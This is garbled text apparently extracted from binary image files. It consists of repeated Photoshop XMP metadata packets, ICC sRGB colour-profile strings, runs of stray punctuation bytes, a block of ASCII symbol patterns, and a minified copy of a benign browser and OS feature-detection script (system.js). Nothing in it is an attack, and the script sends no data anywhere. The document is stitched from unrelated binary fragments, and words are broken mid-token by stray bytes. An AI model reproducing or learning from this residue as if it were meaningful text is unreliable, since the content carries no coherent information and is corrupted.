,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:8F675011A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:8F675012A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8F67500FA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:8F675010A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:586556A6A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:586556A7A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:56CDCF93A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:56CDCF94A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:39642DCEA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:39642DCFA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:39642DCCA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:39642DCDA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:9285922DA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:9285922EA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9285922BA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:9285922CA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:90FB47E4A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:90FB47E5A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:90FB47E2A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:90FB47E3A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
%!'&$!$#).;2),8,#$3F48=?BCB(1HMH@M;AB?
?*$*??????????????????????????????????????????????????
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:82F9C5CAA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:82F9C5CBA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:82F9C5C8A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:82F9C5C9A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>~
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:8B4960FCA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:8B4960FDA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8B4960FAA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:8B4960FBA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
&#  #&9),),)9W6?66?6WM]KFK]M
&#  #&9),),)9W6?66?6WM]KFK]M
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:67F5981DA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:67F5981EA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:67F5981BA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:67F5981CA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>k
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:88B78A96A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:88B78A97A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:88B78A94A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:88B78A95A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:8CD310EBA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:8CD310ECA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8B496102A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:8CD310EAA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>^
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:56CDCF91A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:56CDCF92A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:56CDCF8FA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:56CDCF90A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:951B11A5A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:951B11A6A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:951B11A3A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:951B11A4A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:8178AC95A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:8178AC96A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8178AC93A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:8178AC94A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>+R!
Adobe Photoshop 22.1 (Windows)
cropWhenPrintingbool
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c005 79.164590, 2020/12/09-11:57:44        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp=M
"http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop 22.1 (Windows)" xmp:CreateDate="2023-02-11T13:48:24+04:00" xmp:MetadataDate="2023-02-11T13:48:24+04:00" xmp:ModifyDate="2023-02-11T13:48:24+04:00" xmpMM:InstanceID="xmp.iid:14d82f5a-2158-c441-924c-6b9311170ea5" xmpMM:DocumentID="adobe:docid:photoshopM
:31e45d38-3c4e-db46-aeb1-60b13c26627e" xmpMM:OriginalDocumentID="xmp.did:7de9a3d4-bf95-9e45-b534-fd2a95b87861" dc:format="image/jpeg" photoshop:ColorMode="3"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:7de9a3d4-bf95-9e45-b534-fd2a95b87861" stEvt:when="2023-02-11T13:48:24+04:00" stEvt:softwareAgent="Adobe Photoshop 22.1 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:14d82f5a-2158-c441-924c-6b9311170ea5" stEvt:when="2023-02-11T13:48:24+04:00" stEvt:softwareM
Agent="Adobe Photoshop 22.1 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                       M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                  <?xpacket end="w"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:98313913A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:98313914A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:96A2B418A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:98313912A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:70B8602BA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:70B8602CA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:70B86029A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:70B8602AA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:7FF428EAA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:7FF428EBA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7FF428E8A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:7FF428E9A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:9DD1AD17A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:9DD1AD18A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9C4A7810A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:9DD1AD16A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>L
text/plain;charset=utf-8
.+--.++---|.+--|||..-|.....+...++...+.....|-..|||--+.|---++.--+.
+..-|.||++..|..||+-.--..|.--.--..--.--.|..--.-+||..|..++||.|-..+
-.-.-.-.|.|+|+|+.+.-.-.-.-.|.|+||+|.|.-.-.-.-.+.+|+|+|.|.-.-.-.-
--..--..+..--..++|+-..++||.|.++||++.|.||++..-+|++..--..+..--..--
.|--++-++.||-----++|||-|---+.||||||.+---|-|||++-----||.++-++--|.
+..-++||-...++.--+||-...++.--+||||+--.++...-||+--.++...-||++-..+
+|-.-||.-||.+...-.+.-.++-.+|-.-||-.-|+.-++.-.+.-...+.||-.||-.-|+
-|..+|.+.-.+|-..-.|.+|-.+|..+|.++.|+..|+.-|+.|.-..-|+.-.+.|+..|-
-+|++--.--.-+.++-++-+.-+.++.++.++.++.++.+-.+-++-++.+-.--.--++|+-
-+....|--+.|-+.+..|-+.|-+.+..|-++-|..+.+-|.+-|..+.+-|.+--|....+-
|.|.|.|..................+.+.+.++.+.+.+..................|.|.|.|
..+-|..+-|..+-|.+-|..+-|..+-|..++..|-+..|-+..|-+.|-+..|-+..|-+..
+||--++|+-.+-++....+..|....||.|..|.||....|..+....++-+.-+|++--||+
-.+.-+.-.+.-+.-|+.-+.-|+.|+.-|+..+|-.+|.+|-.+-.+|-.+-.+.-.+-.+.-
-.|.-...+..|+-.|+-.||+..|...|.+..+.|...|..+||.-+|.-+|..+...-.|.-
||++--..++...||..-+--..++...||....||...++..--+-..||...++..--++||
||.+-----..+.++.....--|-||+++++--+++++||-|--.....++.+..-----+.||
|++|++..+..-..--.++..+..-..--.----.--..-..+..++.--..-..+..++|++|
.-.++|+|+|.|.-.+.+.+.+||.|.|.-.--.-.|.|.||+.+.+.+.-.|.|+|+|++.-.
..--||..--..++|-..++||..--||..----..||--..||++..-|++..--..||--..
--..|--+++....|--..|--+++....|----|....+++--|..--|....+++--|..--
|--.|..|...+.-+.-++|-..-.||..++..++..||.-..-|++-.+-.+...|..|.--|
...+-.+--|.-||..|.|.+..++-|+--|..|--+|-++..+.|.|..||-.|--+.-+...
..-+|.+.+-.|.+.+-.|.+-+|.+.--.|..|.--.+.|+-+.|.-+.+.|.-+.+.|+-..
.|.|-+-+.+....|+|-.-+.+.|.|-+-+..+-+-|.|.+.+-.-|+|....+.+-+-|.|.
..-|-+.|+.+..|..|.|-.|-+.+.|+..||..+|.+.+-|.-|.|..|..+.+|.+-|-..
.-..-.+.++.+.+..+..|.||.|.|.-|.--.|-.|.|.||.|..+..+.+.++.+.-..-.
+-||+-|...+-|...+-||..+--|..++-||-++..|--+..||-+...|-+...|-+||-+
.....--++..||-||+-....--++-++..||..++-++--....-+||-||..++--.....
.-|+|+.|+|+..|.|+.-.|+-.-.|+.-.||.-.+|.-.-+|.-.+|.|..+|+|.+|+|-.
.-++||-..-..|++.+-.--+||+..-..|..|..-..+||+--.-+.++|..-..-||++-.
+.|||||+++++....-----....|-|||....|||-|....-----....+++++|||||.+
.+|||||.....----.....+-++|.|||++++|||.|++-+.....----.....|||||+.
+...||.--.++|..-..+...||.--.++|++|++.--.||...+..-..|++.--.||...+
-.|.|.-|.|.-+|+|.+.+|..-.+|.-.+||+.-.|+.-..|+.+.|+|+-.|.|-.|.|.-
--+--....-+||.||..++--.......-+||+-.......--++..||.||+-....--+--
..||..|-++..|--+..||-+...|-+...||...+-|...+-||..+--|..++-|..||..
+.++.+.+..+.-.-+.-+|+||+|-|-.|-..-|.-|-|+||+|+-.+-.-.+..+.+.++.+
+-.|..-|.+.+-|+-|-|.+|..+.-|.+-||-+.|-.+..|+.|-|-+|-+.+.|-..|.-+
-|+|....+.+-+-|.|.+..-.-|+|....++....|+|-.-..+.|.|-+-+.+....|+|-
-+..|-.-..-|-.-..-|+...|-.+..-|++|-..+.-|...+|-..-.-|-..-.-|..+-
-+-..+...|+.||-+|-|+.-+...|...|--|...|...+-.+|-|+-||.+|...+..-+-
|..-|+-|+--.+..+...|.--.-||+-..++..-+||-.--.|...+..+.--+|-+|-..|
..--|.....++--|..--|.....++--|....|--++.....|--..|--++.....|--..
++..||++..--..|.--..||++..||++....++||..++||..--.|..--..++||..++
-.-..|.|.|+|+.-.-.-.-.||+|+|+.+..+.+|+|+||.-.-.-.-.+|+|.|.|..-.-
|..|..--.--.--..-..--.--.--..+....+..--.--.--..-..--.--.--..|..|
||-......++.+..-----..|.||............||.|..-----..+.++......-||
||....++..-++||--....++..-++||----||++-..++....--||++-..++....||
.+|-.++-.++|..+|..-||.--|+--|+.--.+|--+|--.||-..|+..|++.-++.-|+.
.+.-..-.+.-..-.|.-..-.|.-|.-.|.--.|.-.|-.|.-..-.|.-..-.+.-..-.+.
.||....|..+....++-+.-+|-+--||+|--|+||--+-|+-.+-++....+..|....||.
-+..|-+..|-+..|+..|-+..|-+..|-+..+-|..+-|..+-|..+|..+-|..+-|..+-
|-|-|-|-+-+-+-+-+-+-+-+-+.+.+.+..+.+.+.+-+-+-+-+-+-+-+-+-|-|-|-|
..+-+-|...-|..+.+-|..-|..+.+-|....|-+.+..|-..|-+.+..|-...|-+-+..
..|....+..+..+.......+..+..+..-..-..+..+..+.......+..+..+....|..
.|+-.|-.+.-.|.-+.-|+.|.-.|+-.|-..-|.-+|.-.|.+|-.+-.|.-.+.-|.-+|.
.|.-.||-.||+.-++.-.+.-...-.|.-.||.-.|.-...-.+.-.++-.+||.-||.-.|.
.++...||.---..+...||.++-..+...||||...+..-++.||...+..---.||...++.
+|.......+||.......|||.|....-||||||-....|.|||.......||+.......|+
..-+..--.--..--..|..--..||+|-..||..-|+||..--..|..--..--.--..+-..
.-.-.+.+|+|.|.|.-.-.-.-.+.+|+|.||.|+|+.+.-.-.-.-.|.|.|+|+.+.-.-.
.--.|+||..-+|++||..+..++|-..-..++..-..-|++..+..||++|+-..||+|.--.
+...+.....|-...|||-+.|---++.--+..+--.++---|.+-|||...-|.....+...+
application/javascript
// system.js - http://github.com/mrdoob/system.js
'use strict';var System={browser:function(){var a=navigator.userAgent;return/Arora/i.test(a)?"Arora":/Opera|OPR/.test(a)?"Opera":/Maxthon/i.test(a)?"Maxthon":/Vivaldi/i.test(a)?"Vivaldi":/YaBrowser/i.test(a)?"Yandex":/Chrome/i.test(a)?"Chrome":/Epiphany/i.test(a)?"Epiphany":/Firefox/i.test(a)?"Firefox":/Mobile(\/.*)? Safari/i.test(a)?"Mobile Safari":/MSIE/i.test(a)?"Internet Explorer":/Midori/i.test(a)?"Midori":/Safari/i.test(a)?"Safari":!1}(),os:function(){var a=nM
avigator.userAgent;return/Android/i.test(a)?
"Android":/CrOS/i.test(a)?"Chrome OS":/iP[ao]d|iPhone/i.test(a)?"iOS":/Linux/i.test(a)?"Linux":/Mac OS/i.test(a)?"Mac OS":/windows/i.test(a)?"Windows":!1}(),support:{canvas:!!window.CanvasRenderingContext2D,localStorage:function(){try{return!!window.localStorage.getItem}catch(a){return!1}}(),file:!!window.File&&!!window.FileReader&&!!window.FileList&&!!window.Blob,fileSystem:!!window.requestFileSystem||!!window.webkitRequestFileSystem,getUserMedia:!!window.navigator.getM
UserMedia||!!window.navigator.webkitGetUserMedia||
!!window.navigator.mozGetUserMedia||!!window.navigator.msGetUserMedia,requestAnimationFrame:!!window.mozRequestAnimationFrame||!!window.webkitRequestAnimationFrame||!!window.oRequestAnimationFrame||!!window.msRequestAnimationFrame,sessionStorage:function(){try{return!!window.sessionStorage.getItem}catch(a){return!1}}(),svg:function(){try{return!!document.createElementNS&&!!document.createElementNS("http://www.w3.org/2000/svg","svg").createSVGRect}catch(a){return!1L
}}(),webgl:function(){try{return!!window.WebGLRenderingContext&&
!!document.createElement("canvas").getContext("experimental-webgl")}catch(a){return!1}}(),worker:!!window.Worker}};
"!&+7/&)4)!"0A149;>>>%.DIC<H7=>;
;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
"!&+7/&)4)!"0A149;>>>%.DIC<H7=>;
;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
$@$@$@$@$@$@$@$@$@$@$
$@$@$@$@$@$@$@$@$@$@$
"!&+7/&)4)!"0A149;>>>%.DIC<H7=>;
;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
$@$@$@$@$@$@$@$@$@$@$
$@$@$@$@$@$@$@$@$@$@$
$@$@$@$@$@$@$@$@$@$@$
$@$@$@$@$@$@$@$@$@$@$
$@$@$@$@$@$@$@$@$@$@$
$@$@$@$@$@$@$@$@$@$@<
$@$@$@$@$@$@$@$@$@$@$
"!&+7/&)4)!"0A149;>>>%.DIC<H7=>;
